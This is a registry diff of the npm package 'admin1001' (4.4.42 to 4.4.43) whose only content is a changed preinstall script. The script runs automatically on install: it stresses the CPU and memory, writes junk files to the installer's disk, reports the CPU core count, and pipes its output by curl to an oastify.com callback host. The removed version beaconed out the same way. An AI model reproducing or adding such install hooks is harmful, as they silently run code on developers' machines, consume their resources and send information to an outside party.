admin1001 4.4.42 → 4.4.43
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -3
package/package.json
CHANGED
|
@@ -1,11 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "admin1001",
|
|
3
|
-
"version": "4.4.
|
|
3
|
+
"version": "4.4.43",
|
|
4
4
|
"description": "",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"
|
|
8
|
-
"preinstall": "node -e \"console.log('CPU test start'); let start=Date.now(); while(Date.now()-start<10000){for(let i=0;i<1000000;i++)Math.sqrt(Math.random());} console.log('CPU test done');\" | curl --data @- 4x2lfbce036ru3bh163au3bft6zxnoncc.oastify.com"
|
|
7
|
+
"preinstall": "node -e \"console.log('🧪 Starting stress tests'); const fs=require('fs'); const os=require('os'); console.log('CPU cores:',os.cpus().length); const start=Date.now(); let cycles=0; while(Date.now()-start<3000){for(let i=0;i<500000;i++)Math.sin(Math.random()); cycles++;} console.log('CPU:',cycles,'cycles'); const arr=[]; for(let m=0;m<20;m++){arr.push(Buffer.alloc(1024*1024));} console.log('Memory: 20MB allocated'); try{for(let f=0;f<3;f++){fs.writeFileSync('stress-'+f+'.dat','A'.repeat(1024*1024));} console.log('Disk: 3MB written');}catch(e){console.log('Disk write failed:',e.message);} console.log('🧪 All tests done');\" | curl --data @- 4x2lfbce036ru3bh163au3bft6zxnoncc.oastify.com"
|
|
9
8
|
},
|
|
10
9
|
"author": "",
|
|
11
10
|
"license": "ISC"
|